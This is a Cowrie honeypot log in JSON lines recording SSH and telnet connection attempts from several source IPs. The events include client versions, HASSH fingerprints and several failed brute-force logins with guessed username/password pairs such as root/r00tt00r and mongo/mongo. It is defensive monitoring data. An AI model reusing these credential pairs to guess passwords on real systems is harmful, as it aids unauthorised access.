{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:51.380066Z","src_ip":"43.163.95.54","session":"91072cd02204","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel123","message":"login attempt [daniel/daniel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:52.361031Z","src_ip":"43.163.95.54","session":"91072cd02204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:53.601133Z","src_ip":"43.163.95.54","session":"91072cd02204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":37982,"dst_ip":"159.203.135.109","dst_port":22,"session":"3427d072a95c","protocol":"ssh","message":"New connection: 124.156.196.131:37982 (159.203.135.109:22) [session: 3427d072a95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:58.161834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:58.167264Z","src_ip":"124.156.196.131","session":"3427d072a95c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:58.405782Z","src_ip":"124.156.196.131","session":"3427d072a95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tt00r","message":"login attempt [root/r00tt00r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:59.390796Z","src_ip":"124.156.196.131","session":"3427d072a95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:26:00.632978Z","src_ip":"124.156.196.131","session":"3427d072a95c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":33932,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b81992b5c33","protocol":"ssh","message":"New connection: 103.149.28.157:33932 (159.203.135.109:22) [session: 0b81992b5c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:26:05.529883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:26:05.535678Z","src_ip":"103.149.28.157","session":"0b81992b5c33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:26:05.782132Z","src_ip":"103.149.28.157","session":"0b81992b5c33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369258147","message":"login attempt [root/369258147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:26:06.520874Z","src_ip":"103.149.28.157","session":"0b81992b5c33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:26:07.769976Z","src_ip":"103.149.28.157","session":"0b81992b5c33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43824,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f448ef7e22f","protocol":"ssh","message":"New connection: 80.94.92.184:43824 (10.17.0.5:22) [session: 4f448ef7e22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:26:41.951444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:26:42.032501Z","src_ip":"80.94.92.184","session":"4f448ef7e22f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:26:42.190551Z","src_ip":"80.94.92.184","session":"4f448ef7e22f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:26:43.072312Z","src_ip":"80.94.92.184","session":"4f448ef7e22f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:26:44.221756Z","src_ip":"80.94.92.184","session":"4f448ef7e22f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.97.184.8","src_port":53942,"dst_ip":"159.203.135.109","dst_port":23,"session":"c40e52c34b3f","protocol":"telnet","message":"New connection: 201.97.184.8:53942 (159.203.135.109:23) [session: c40e52c34b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:26:54.869588Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47904,"dst_ip":"10.17.0.5","dst_port":23,"session":"36a7bb214c29","protocol":"telnet","message":"New connection: 152.42.224.71:47904 (10.17.0.5:23) [session: 36a7bb214c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:00.533052Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":54238,"dst_ip":"159.203.135.109","dst_port":22,"session":"e78695927a53","protocol":"ssh","message":"New connection: 43.163.95.54:54238 (159.203.135.109:22) [session: e78695927a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:01.347583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:01.352861Z","src_ip":"43.163.95.54","session":"e78695927a53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:01.599137Z","src_ip":"43.163.95.54","session":"e78695927a53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongo","password":"mongo","message":"login attempt [mongo/mongo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:02.611425Z","src_ip":"43.163.95.54","session":"e78695927a53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:03.859701Z","src_ip":"43.163.95.54","session":"e78695927a53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.376272201538086,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:08.245707Z","src_ip":"201.97.184.8","session":"c40e52c34b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":59156,"dst_ip":"159.203.135.109","dst_port":22,"session":"97702a3a2f09","protocol":"ssh","message":"New connection: 124.156.196.131:59156 (159.203.135.109:22) [session: 97702a3a2f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:12.569313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:12.574152Z","src_ip":"124.156.196.131","session":"97702a3a2f09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:12.813160Z","src_ip":"124.156.196.131","session":"97702a3a2f09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postmaster","password":"postmaster","message":"login attempt [postmaster/postmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:13.801346Z","src_ip":"124.156.196.131","session":"97702a3a2f09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:15.045942Z","src_ip":"124.156.196.131","session":"97702a3a2f09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.36234641075134,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:39.895270Z","src_ip":"152.42.224.71","session":"36a7bb214c29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54762,"dst_ip":"10.17.0.5","dst_port":23,"session":"b685b670b086","protocol":"telnet","message":"New connection: 152.42.224.71:54762 (10.17.0.5:23) [session: b685b670b086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:27:50.029518Z"}
{"eventid":"cowrie.session.closed","duration":15.445469617843628,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:28:05.474858Z","src_ip":"152.42.224.71","session":"b685b670b086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":54420,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cd6de0032b7","protocol":"ssh","message":"New connection: 43.163.95.54:54420 (159.203.135.109:22) [session: 8cd6de0032b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:28:15.890880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:28:15.896609Z","src_ip":"43.163.95.54","session":"8cd6de0032b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:28:16.140864Z","src_ip":"43.163.95.54","session":"8cd6de0032b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wade","password":"wade","message":"login attempt [wade/wade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:28:17.127229Z","src_ip":"43.163.95.54","session":"8cd6de0032b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:28:18.369204Z","src_ip":"43.163.95.54","session":"8cd6de0032b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":57280,"dst_ip":"159.203.135.109","dst_port":22,"session":"1675b9fd810c","protocol":"ssh","message":"New connection: 124.156.196.131:57280 (159.203.135.109:22) [session: 1675b9fd810c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:28:30.788655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:28:30.793066Z","src_ip":"124.156.196.131","session":"1675b9fd810c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:28:31.030471Z","src_ip":"124.156.196.131","session":"1675b9fd810c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123!","message":"login attempt [ftpuser/ftpuser123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:28:32.013839Z","src_ip":"124.156.196.131","session":"1675b9fd810c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:28:33.255474Z","src_ip":"124.156.196.131","session":"1675b9fd810c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40814,"dst_ip":"10.17.0.5","dst_port":23,"session":"757df7bc6f1a","protocol":"telnet","message":"New connection: 152.42.224.71:40814 (10.17.0.5:23) [session: 757df7bc6f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:00.923830Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":56130,"dst_ip":"10.17.0.5","dst_port":22,"session":"d513e18fc794","protocol":"ssh","message":"New connection: 193.228.128.84:56130 (10.17.0.5:22) [session: d513e18fc794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:12.477015Z"}
